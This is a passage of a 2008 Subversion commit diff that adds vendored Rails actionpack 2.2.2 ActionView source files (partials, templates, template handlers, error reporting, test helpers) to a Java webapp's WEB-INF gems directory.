+  #   Here's the administrator:
+  #   <%= render :partial => "user", :layout => "administrator", :locals => { :user => administrator } %>
+  #
+  #   Here's the editor:
+  #   <%= render :partial => "user", :layout => "editor", :locals => { :user => editor } %>
+  #
+  #   <%# app/views/users/_user.html.erb &>
+  #   Name: <%= user.name %>
+  #
+  #   <%# app/views/users/_administrator.html.erb &>
+  #   <div id="administrator">
+  #     Budget: $<%= user.budget %>
+  #     <%= yield %>
+  #   </div>
+  #
+  #   <%# app/views/users/_editor.html.erb &>
+  #   <div id="editor">
+  #     Deadline: <%= user.deadline %>
+  #     <%= yield %>
+  #   </div>
+  #
+  # ...this will return:
+  #
+  #   Here's the administrator:
+  #   <div id="administrator">
+  #     Budget: $<%= user.budget %>
+  #     Name: <%= user.name %>
+  #   </div>
+  #
+  #   Here's the editor:
+  #   <div id="editor">
+  #     Deadline: <%= user.deadline %>
+  #     Name: <%= user.name %>
+  #   </div>
+  #
+  # You can also apply a layout to a block within any template:
+  #
+  #   <%# app/views/users/_chief.html.erb &>
+  #   <% render(:layout => "administrator", :locals => { :user => chief }) do %>
+  #     Title: <%= chief.title %>
+  #   <% end %>
+  #
+  # ...this will return:
+  #
+  #   <div id="administrator">
+  #     Budget: $<%= user.budget %>
+  #     Title: <%= chief.name %>
+  #   </div>
+  #
+  # As you can see, the <tt>:locals</tt> hash is shared between both the partial and its layout.
+  #
+  # If you pass arguments to "yield" then this will be passed to the block. One way to use this is to pass
+  # an array to layout and treat it as an enumerable.
+  #
+  #   <%# app/views/users/_user.html.erb &>
+  #   <div class="user">
+  #     Budget: $<%= user.budget %>
+  #     <%= yield user %>
+  #   </div>
+  #
+  #   <%# app/views/users/index.html.erb &>
+  #   <% render :layout => @users do |user| %>
+  #     Title: <%= user.title %>
+  #   <% end %>
+  #
+  # This will render the layout for each user and yield to the block, passing the user, each time.
+  #
+  # You can also yield multiple times in one layout and use block arguments to differentiate the sections.
+  #
+  #   <%# app/views/users/_user.html.erb &>
+  #   <div class="user">
+  #     <%= yield user, :header %>
+  #     Budget: $<%= user.budget %>
+  #     <%= yield user, :footer %>
+  #   </div>
+  #
+  #   <%# app/views/users/index.html.erb &>
+  #   <% render :layout => @users do |user, section| %>
+  #     <%- case section when :header -%>
+  #       Title: <%= user.title %>
+  #     <%- when :footer -%>
+  #       Deadline: <%= user.deadline %>
+  #     <%- end -%>
+  #   <% end %>
+  module Partials
+    extend ActiveSupport::Memoizable
+
+    private
+      def render_partial(options = {}) #:nodoc:
+        local_assigns = options[:locals] || {}
+
+        case partial_path = options[:partial]
+        when String, Symbol, NilClass
+          if options.has_key?(:collection)
+            render_partial_collection(options)
+          else
+            _pick_partial_template(partial_path).render_partial(self, options[:object], local_assigns)
+          end
+        when ActionView::Helpers::FormBuilder
+          builder_partial_path = partial_path.class.to_s.demodulize.underscore.sub(/_builder$/, '')
+          local_assigns.merge!(builder_partial_path.to_sym => partial_path)
+          render_partial(:partial => builder_partial_path, :object => options[:object], :locals => local_assigns)
+        when Array, ActiveRecord::Associations::AssociationCollection, ActiveRecord::NamedScope::Scope
+          render_partial_collection(options.except(:partial).merge(:collection => partial_path))
+        else
+          object = partial_path
+          render_partial(
+            :partial => ActionController::RecordIdentifier.partial_path(object, controller.class.controller_path),
+            :object => object,
+            :locals => local_assigns
+          )
+        end
+      end
+
+      def render_partial_collection(options = {}) #:nodoc:
+        return nil if options[:collection].blank?
+
+        partial = options[:partial]
+        spacer = options[:spacer_template] ? render(:partial => options[:spacer_template]) : ''
+        local_assigns = options[:locals] ? options[:locals].clone : {}
+        as = options[:as]
+
+        index = 0
+        options[:collection].map do |object|
+          _partial_path ||= partial ||
+            ActionController::RecordIdentifier.partial_path(object, controller.class.controller_path)
+          template = _pick_partial_template(_partial_path)
+          local_assigns[template.counter_name] = index
+          result = template.render_partial(self, object, local_assigns.dup, as)
+          index += 1
+          result
+        end.join(spacer)
+      end
+
+      def _pick_partial_template(partial_path) #:nodoc:
+        if partial_path.include?('/')
+          path = File.join(File.dirname(partial_path), "_#{File.basename(partial_path)}")
+        elsif controller
+          path = "#{controller.class.controller_path}/_#{partial_path}"
+        else
+          path = "_#{partial_path}"
+        end
+
+        _pick_template(path)
+      end
+      memoize :_pick_partial_template
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/paths.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/paths.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/paths.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,125 @@
+module ActionView #:nodoc:
+  class PathSet < Array #:nodoc:
+    def self.type_cast(obj)
+      if obj.is_a?(String)
+        if Base.warn_cache_misses && defined?(Rails) && Rails.initialized?
+          Base.logger.debug "[PERFORMANCE] Processing view path during a " +
+            "request. This an expense disk operation that should be done at " +
+            "boot. You can manually process this view path with " +
+            "ActionView::Base.process_view_paths(#{obj.inspect}) and set it " +
+            "as your view path"
+        end
+        Path.new(obj)
+      else
+        obj
+      end
+    end
+
+    def initialize(*args)
+      super(*args).map! { |obj| self.class.type_cast(obj) }
+    end
+
+    def <<(obj)
+      super(self.class.type_cast(obj))
+    end
+
+    def concat(array)
+      super(array.map! { |obj| self.class.type_cast(obj) })
+    end
+
+    def insert(index, obj)
+      super(index, self.class.type_cast(obj))
+    end
+
+    def push(*objs)
+      super(*objs.map { |obj| self.class.type_cast(obj) })
+    end
+
+    def unshift(*objs)
+      super(*objs.map { |obj| self.class.type_cast(obj) })
+    end
+
+    class Path #:nodoc:
+      def self.eager_load_templates!
+        @eager_load_templates = true
+      end
+
+      def self.eager_load_templates?
+        @eager_load_templates || false
+      end
+
+      attr_reader :path, :paths
+      delegate :to_s, :to_str, :hash, :inspect, :to => :path
+
+      def initialize(path, load = true)
+        raise ArgumentError, "path already is a Path class" if path.is_a?(Path)
+        @path = path.freeze
+        reload! if load
+      end
+
+      def ==(path)
+        to_str == path.to_str
+      end
+
+      def eql?(path)
+        to_str == path.to_str
+      end
+
+      def [](path)
+        raise "Unloaded view path! #{@path}" unless @loaded
+        @paths[path]
+      end
+
+      def loaded?
+        @loaded ? true : false
+      end
+
+      def load
+        reload! unless loaded?
+        self
+      end
+
+      # Rebuild load path directory cache
+      def reload!
+        @paths = {}
+
+        templates_in_path do |template|
+          # Eager load memoized methods and freeze cached template
+          template.freeze if self.class.eager_load_templates?
+
+          @paths[template.path] = template
+          @paths[template.path_without_extension] ||= template
+        end
+
+        @paths.freeze
+        @loaded = true
+      end
+
+      private
+        def templates_in_path
+          (Dir.glob("#{@path}/**/*/**") | Dir.glob("#{@path}/**")).each do |file|
+            unless File.directory?(file)
+              yield Template.new(file.split("#{self}/").last, self)
+            end
+          end
+        end
+    end
+
+    def load
+      each { |path| path.load }
+    end
+
+    def reload!
+      each { |path| path.reload! }
+    end
+
+    def [](template_path)
+      each do |path|
+        if template = path[template_path]
+          return template
+        end
+      end
+      nil
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/renderable.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/renderable.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/renderable.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,102 @@
+module ActionView
+  # NOTE: The template that this mixin is being included into is frozen
+  # so you cannot set or modify any instance variables
+  module Renderable #:nodoc:
+    extend ActiveSupport::Memoizable
+
+    def self.included(base)
+      @@mutex = Mutex.new
+    end
+
+    def filename
+      'compiled-template'
+    end
+
+    def handler
+      Template.handler_class_for_extension(extension)
+    end
+    memoize :handler
+
+    def compiled_source
+      handler.call(self)
+    end
+    memoize :compiled_source
+
+    def render(view, local_assigns = {})
+      compile(local_assigns)
+
+      stack = view.instance_variable_get(:@_render_stack)
+      stack.push(self)
+
+      # This is only used for TestResponse to set rendered_template
+      unless is_a?(InlineTemplate) || view.instance_variable_get(:@_first_render)
+        view.instance_variable_set(:@_first_render, self)
+      end
+
+      view.send(:_evaluate_assigns_and_ivars)
+      view.send(:_set_controller_content_type, mime_type) if respond_to?(:mime_type)
+
+      result = view.send(method_name(local_assigns), local_assigns) do |*names|
+        ivar = :@_proc_for_layout
+        if !view.instance_variable_defined?(:"@content_for_#{names.first}") && view.instance_variable_defined?(ivar) && (proc = view.instance_variable_get(ivar))
+          view.capture(*names, &proc)
+        elsif view.instance_variable_defined?(ivar = :"@content_for_#{names.first || :layout}")
+          view.instance_variable_get(ivar)
+        end
+      end
+
+      stack.pop
+      result
+    end
+
+    def method_name(local_assigns)
+      if local_assigns && local_assigns.any?
+        local_assigns_keys = "locals_#{local_assigns.keys.map { |k| k.to_s }.sort.join('_')}"
+      end
+      ['_run', extension, method_segment, local_assigns_keys].compact.join('_').to_sym
+    end
+
+    private
+      # Compile and evaluate the template's code (if necessary)
+      def compile(local_assigns)
+        render_symbol = method_name(local_assigns)
+
+        @@mutex.synchronize do
+          if recompile?(render_symbol)
+            compile!(render_symbol, local_assigns)
+          end
+        end
+      end
+
+      def compile!(render_symbol, local_assigns)
+        locals_code = local_assigns.keys.map { |key| "#{key} = local_assigns[:#{key}];" }.join
+
+        source = <<-end_src
+          def #{render_symbol}(local_assigns)
+            old_output_buffer = output_buffer;#{locals_code};#{compiled_source}
+          ensure
+            self.output_buffer = old_output_buffer
+          end
+        end_src
+
+        begin
+          ActionView::Base::CompiledTemplates.module_eval(source, filename, 0)
+        rescue Exception => e # errors from template code
+          if logger = defined?(ActionController) && Base.logger
+            logger.debug "ERROR: compiling #{render_symbol} RAISED #{e}"
+            logger.debug "Function body: #{source}"
+            logger.debug "Backtrace: #{e.backtrace.join("\n")}"
+          end
+
+          raise ActionView::TemplateError.new(self, {}, e)
+        end
+      end
+
+      # Method to check whether template compilation is necessary.
+      # The template will be compiled if the file has not been compiled yet, or
+      # if local_assigns has a new key, which isn't supported by the compiled code yet.
+      def recompile?(symbol)
+        !(ActionView::PathSet::Path.eager_load_templates? && Base::CompiledTemplates.method_defined?(symbol))
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/renderable_partial.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/renderable_partial.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/renderable_partial.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,48 @@
+module ActionView
+  # NOTE: The template that this mixin is being included into is frozen
+  # so you cannot set or modify any instance variables
+  module RenderablePartial #:nodoc:
+    extend ActiveSupport::Memoizable
+
+    def variable_name
+      name.sub(/\A_/, '').to_sym
+    end
+    memoize :variable_name
+
+    def counter_name
+      "#{variable_name}_counter".to_sym
+    end
+    memoize :counter_name
+
+    def render(view, local_assigns = {})
+      if defined? ActionController
+        ActionController::Base.benchmark("Rendered #{path_without_format_and_extension}", Logger::DEBUG, false) do
+          super
+        end
+      else
+        super
+      end
+    end
+
+    def render_partial(view, object = nil, local_assigns = {}, as = nil)
+      object ||= local_assigns[:object] ||
+        local_assigns[variable_name]
+
+      if view.respond_to?(:controller)
+        ivar = :"@#{variable_name}"
+        object ||=
+          if view.controller.instance_variable_defined?(ivar)
+            ActiveSupport::Deprecation::DeprecatedObjectProxy.new(
+              view.controller.instance_variable_get(ivar),
+              "#{ivar} will no longer be implicitly assigned to #{variable_name}")
+          end
+      end
+
+      # Ensure correct object is reassigned to other accessors
+      local_assigns[:object] = local_assigns[variable_name] = object
+      local_assigns[as] = object if as
+
+      render_template(view, local_assigns)
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,116 @@
+require 'action_controller/mime_type'
+
+module ActionView #:nodoc:
+  class Template
+    extend TemplateHandlers
+    extend ActiveSupport::Memoizable
+    include Renderable
+
+    attr_accessor :filename, :load_path, :base_path, :name, :format, :extension
+    delegate :to_s, :to => :path
+
+    def initialize(template_path, load_paths = [])
+      template_path = template_path.dup
+      @base_path, @name, @format, @extension = split(template_path)
+      @base_path.to_s.gsub!(/\/$/, '') # Push to split method
+      @load_path, @filename = find_full_path(template_path, load_paths)
+
+      # Extend with partial super powers
+      extend RenderablePartial if @name =~ /^_/
+    end
+
+    def format_and_extension
+      (extensions = [format, extension].compact.join(".")).blank? ? nil : extensions
+    end
+    memoize :format_and_extension
+
+    def multipart?
+      format && format.include?('.')
+    end
+
+    def content_type
+      format.gsub('.', '/')
+    end
+
+    def mime_type
+      Mime::Type.lookup_by_extension(format) if format
+    end
+    memoize :mime_type
+
+    def path
+      [base_path, [name, format, extension].compact.join('.')].compact.join('/')
+    end
+    memoize :path
+
+    def path_without_extension
+      [base_path, [name, format].compact.join('.')].compact.join('/')
+    end
+    memoize :path_without_extension
+
+    def path_without_format_and_extension
+      [base_path, name].compact.join('/')
+    end
+    memoize :path_without_format_and_extension
+
+    def relative_path
+      path = File.expand_path(filename)
+      path.sub!(/^#{Regexp.escape(File.expand_path(RAILS_ROOT))}\//, '') if defined?(RAILS_ROOT)
+      path
+    end
+    memoize :relative_path
+
+    def source
+      File.read(filename)
+    end
+    memoize :source
+
+    def method_segment
+      relative_path.to_s.gsub(/([^a-zA-Z0-9_])/) { $1.ord }
+    end
+    memoize :method_segment
+
+    def render_template(view, local_assigns = {})
+      render(view, local_assigns)
+    rescue Exception => e
+      raise e unless filename
+      if TemplateError === e
+        e.sub_template_of(self)
+        raise e
+      else
+        raise TemplateError.new(self, view.assigns, e)
+      end
+    end
+
+    private
+      def valid_extension?(extension)
+        Template.template_handler_extensions.include?(extension)
+      end
+
+      def find_full_path(path, load_paths)
+        load_paths = Array(load_paths) + [nil]
+        load_paths.each do |load_path|
+          file = [load_path, path].compact.join('/')
+          return load_path, file if File.file?(file)
+        end
+        raise MissingTemplate.new(load_paths, path)
+      end
+
+      # Returns file split into an array
+      #   [base_path, name, format, extension]
+      def split(file)
+        if m = file.match(/^(.*\/)?([^\.]+)\.?(\w+)?\.?(\w+)?\.?(\w+)?$/)
+          if m[5] # Multipart formats
+            [m[1], m[2], "#{m[3]}.#{m[4]}", m[5]]
+          elsif m[4] # Single format
+            [m[1], m[2], m[3], m[4]]
+          else
+            if valid_extension?(m[3]) # No format
+              [m[1], m[2], nil, m[3]]
+            else # No extension
+              [m[1], m[2], m[3], nil]
+            end
+          end
+        end
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template_error.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template_error.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template_error.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,100 @@
+module ActionView
+  # The TemplateError exception is raised when the compilation of the template fails. This exception then gathers a
+  # bunch of intimate details and uses it to report a very precise exception message.
+  class TemplateError < ActionViewError #:nodoc:
+    SOURCE_CODE_RADIUS = 3
+
+    attr_reader :original_exception
+
+    def initialize(template, assigns, original_exception)
+      @template, @assigns, @original_exception = template, assigns.dup, original_exception
+      @backtrace = compute_backtrace
+    end
+
+    def file_name
+      @template.relative_path
+    end
+
+    def message
+      ActiveSupport::Deprecation.silence { original_exception.message }
+    end
+
+    def clean_backtrace
+      original_exception.clean_backtrace
+    end
+
+    def sub_template_message
+      if @sub_templates
+        "Trace of template inclusion: " +
+        @sub_templates.collect { |template| template.relative_path }.join(", ")
+      else
+        ""
+      end
+    end
+
+    def source_extract(indentation = 0)
+      return unless num = line_number
+      num = num.to_i
+
+      source_code = @template.source.split("\n")
+
+      start_on_line = [ num - SOURCE_CODE_RADIUS - 1, 0 ].max
+      end_on_line   = [ num + SOURCE_CODE_RADIUS - 1, source_code.length].min
+
+      indent = ' ' * indentation
+      line_counter = start_on_line
+      return unless source_code = source_code[start_on_line..end_on_line]
+
+      source_code.sum do |line|
+        line_counter += 1
+        "#{indent}#{line_counter}: #{line}\n"
+      end
+    end
+
+    def sub_template_of(template_path)
+      @sub_templates ||= []
+      @sub_templates << template_path
+    end
+
+    def line_number
+      @line_number ||=
+        if file_name
+          regexp = /#{Regexp.escape File.basename(file_name)}:(\d+)/
+
+          $1 if message =~ regexp or clean_backtrace.find { |line| line =~ regexp }
+        end
+    end
+
+    def to_s
+      "\n\n#{self.class} (#{message}) #{source_location}:\n" +
+        "#{source_extract}\n    #{clean_backtrace.join("\n    ")}\n\n"
+    end
+
+    # don't do anything nontrivial here. Any raised exception from here becomes fatal 
+    # (and can't be rescued).
+    def backtrace
+      @backtrace
+    end
+
+    private
+      def compute_backtrace
+        [
+          "#{source_location.capitalize}\n\n#{source_extract(4)}\n    " +
+          clean_backtrace.join("\n    ")
+        ]
+      end
+
+      def source_location
+        if line_number
+          "on line ##{line_number} of "
+        else
+          'in '
+        end + file_name
+      end
+  end
+end
+
+if defined?(Exception::TraceSubstitutions)
+  Exception::TraceSubstitutions << [/:in\s+`_run_.*'\s*$/, '']
+  Exception::TraceSubstitutions << [%r{^\s*#{Regexp.escape RAILS_ROOT}/}, ''] if defined?(RAILS_ROOT)
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template_handler.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template_handler.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template_handler.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,14 @@
+# Legacy TemplateHandler stub
+
+module ActionView
+  module TemplateHandlers
+    module Compilable
+    end
+  end
+
+  class TemplateHandler
+    def self.call(template)
+      new.compile(template)
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template_handlers/builder.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template_handlers/builder.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template_handlers/builder.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,17 @@
+require 'builder'
+
+module ActionView
+  module TemplateHandlers
+    class Builder < TemplateHandler
+      include Compilable
+
+      def compile(template)
+        "_set_controller_content_type(Mime::XML);" +
+          "xml = ::Builder::XmlMarkup.new(:indent => 2);" +
+          "self.output_buffer = xml.target!;" +
+          template.source +
+          ";xml.target!;"
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template_handlers/erb.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template_handlers/erb.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template_handlers/erb.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,59 @@
+require 'erb'
+
+class ERB
+  module Util
+    HTML_ESCAPE = { '&' => '&amp;',  '>' => '&gt;',   '<' => '&lt;', '"' => '&quot;' }
+    JSON_ESCAPE = { '&' => '\u0026', '>' => '\u003E', '<' => '\u003C' }
+
+    # A utility method for escaping HTML tag characters.
+    # This method is also aliased as <tt>h</tt>.
+    #
+    # In your ERb templates, use this method to escape any unsafe content. For example:
+    #   <%=h @person.name %>
+    #
+    # ==== Example:
+    #   puts html_escape("is a > 0 & a < 10?")
+    #   # => is a &gt; 0 &amp; a &lt; 10?
+    def html_escape(s)
+      s.to_s.gsub(/[&"><]/) { |special| HTML_ESCAPE[special] }
+    end
+
+    # A utility method for escaping HTML entities in JSON strings.
+    # This method is also aliased as <tt>j</tt>.
+    #
+    # In your ERb templates, use this method to escape any HTML entities:
+    #   <%=j @person.to_json %>
+    #
+    # ==== Example:
+    #   puts json_escape("is a > 0 & a < 10?")
+    #   # => is a \u003E 0 \u0026 a \u003C 10?
+    def json_escape(s)
+      s.to_s.gsub(/[&"><]/) { |special| JSON_ESCAPE[special] }
+    end
+
+    alias j json_escape
+    module_function :j
+    module_function :json_escape
+  end
+end
+
+module ActionView
+  module TemplateHandlers
+    class ERB < TemplateHandler
+      include Compilable
+
+      # Specify trim mode for the ERB compiler. Defaults to '-'.
+      # See ERb documentation for suitable values.
+      cattr_accessor :erb_trim_mode
+      self.erb_trim_mode = '-'
+
+      def compile(template)
+        src = ::ERB.new("<% __in_erb_template=true %>#{template.source}", nil, erb_trim_mode, '@output_buffer').src
+
+        # Ruby 1.9 prepends an encoding to the source. However this is
+        # useless because you can only set an encoding on the first line
+        RUBY_VERSION >= '1.9' ? src.sub(/\A#coding:.*\n/, '') : src
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template_handlers/rjs.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template_handlers/rjs.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template_handlers/rjs.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+module ActionView
+  module TemplateHandlers
+    class RJS < TemplateHandler
+      include Compilable
+
+      def compile(template)
+        "controller.response.content_type ||= Mime::JS;" +
+          "update_page do |page|;#{template.source}\nend"
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template_handlers.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template_handlers.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/template_handlers.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,45 @@
+require 'action_view/template_handler'
+require 'action_view/template_handlers/builder'
+require 'action_view/template_handlers/erb'
+require 'action_view/template_handlers/rjs'
+
+module ActionView #:nodoc:
+  module TemplateHandlers #:nodoc:
+    def self.extended(base)
+      base.register_default_template_handler :erb, TemplateHandlers::ERB
+      base.register_template_handler :rjs, TemplateHandlers::RJS
+      base.register_template_handler :builder, TemplateHandlers::Builder
+
+      # TODO: Depreciate old template extensions
+      base.register_template_handler :rhtml, TemplateHandlers::ERB
+      base.register_template_handler :rxml, TemplateHandlers::Builder
+    end
+
+    @@template_handlers = {}
+    @@default_template_handlers = nil
+
+    # Register a class that knows how to handle template files with the given
+    # extension. This can be used to implement new template types.
+    # The constructor for the class must take the ActiveView::Base instance
+    # as a parameter, and the class must implement a +render+ method that
+    # takes the contents of the template to render as well as the Hash of
+    # local assigns available to the template. The +render+ method ought to
+    # return the rendered template as a string.
+    def register_template_handler(extension, klass)
+      @@template_handlers[extension.to_sym] = klass
+    end
+
+    def template_handler_extensions
+      @@template_handlers.keys.map(&:to_s).sort
+    end
+
+    def register_default_template_handler(extension, klass)
+      register_template_handler(extension, klass)
+      @@default_template_handlers = klass
+    end
+
+    def handler_class_for_extension(extension)
+      (extension && @@template_handlers[extension.to_sym]) || @@default_template_handlers
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/test_case.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/test_case.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/test_case.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,61 @@
+require 'active_support/test_case'
+
+module ActionView
+  class TestCase < ActiveSupport::TestCase
+    class_inheritable_accessor :helper_class
+    @@helper_class = nil
+
+    class << self
+      def tests(helper_class)
+        self.helper_class = helper_class
+      end
+
+      def helper_class
+        if current_helper_class = read_inheritable_attribute(:helper_class)
+          current_helper_class
+        else
+          self.helper_class = determine_default_helper_class(name)
+        end
+      end
+
+      def determine_default_helper_class(name)
+        name.sub(/Test$/, '').constantize
+      rescue NameError
+        nil
+      end
+    end
+
+    include ActionView::Helpers
+    include ActionController::PolymorphicRoutes
+    include ActionController::RecordIdentifier
+
+    setup :setup_with_helper_class
+
+    def setup_with_helper_class
+      if helper_class && !self.class.ancestors.include?(helper_class)
+        self.class.send(:include, helper_class)
+      end
+
+      self.output_buffer = ''
+    end
+
+    class TestController < ActionController::Base
+      attr_accessor :request, :response
+
+      def initialize
+        @request = ActionController::TestRequest.new
+        @response = ActionController::TestResponse.new
+      end
+    end
+
+    protected
+      attr_accessor :output_buffer
+
+    private
+      def method_missing(selector, *args)
+        controller = TestController.new
+        return controller.__send__(selector, *args) if ActionController::Routing::Routes.named_routes.helpers.include?(selector)
+        super
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,53 @@
+#--
+# Copyright (c) 2004-2008 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+begin
+  require 'active_support'
+rescue LoadError
+  activesupport_path = "#{File.dirname(__FILE__)}/../../activesupport/lib"
+  if File.directory?(activesupport_path)
+    $:.unshift activesupport_path
+    require 'active_support'
+  end
+end
+
+require 'action_view/template_handlers'
+require 'action_view/renderable'
+require 'action_view/renderable_partial'
+
+require 'action_view/template'
+require 'action_view/inline_template'
+require 'action_view/paths'
+
+require 'action_view/base'
+require 'action_view/partials'
+require 'action_view/template_error'
+
+I18n.load_path << "#{File.dirname(__FILE__)}/action_view/locale/en.yml"
+
+require 'action_view/helpers'
+
+ActionView::Base.class_eval do
+  include ActionView::Partials
+  include ActionView::Helpers
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/actionpack.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/actionpack.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/actionpack.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1 @@
+require 'action_pack'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/abstract_unit.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/abstract_unit.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/test/abstract_unit.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,39 @@
+$:.unshift(File.dirname(__FILE__) + '/../lib')
+$:.unshift(File.dirname(__FILE__) + '/../../activesupport/lib')
+$:.unshift(File.dirname(__FILE__) + '/fixtures/helpers')
+
+require 'yaml'
+require 'stringio'
+require 'test/unit'
+require 'action_controller'
+require 'action_controller/cgi_ext'
+require 'action_controller/test_process'
+require 'action_view/test_case'
+
+begin
+  require 'ruby-debug'
+rescue LoadError
+  # Debugging disabled. `gem install ruby-debug` to enable.
+end
+
+# Show backtraces for deprecated behavior for quicker cleanup.
+ActiveSupport::Deprecation.debug = true
+
+ActionController::Base.logger = nil
+ActionController::Routing::Routes.reload rescue nil
+
+FIXTURE_LOAD_PATH = File.join(File.dirname(__FILE__), 'fixtures')
+ActionView::PathSet::Path.eager_load_templates!
+ActionController::Base.view_paths = FIXTURE_LOAD_PATH
+
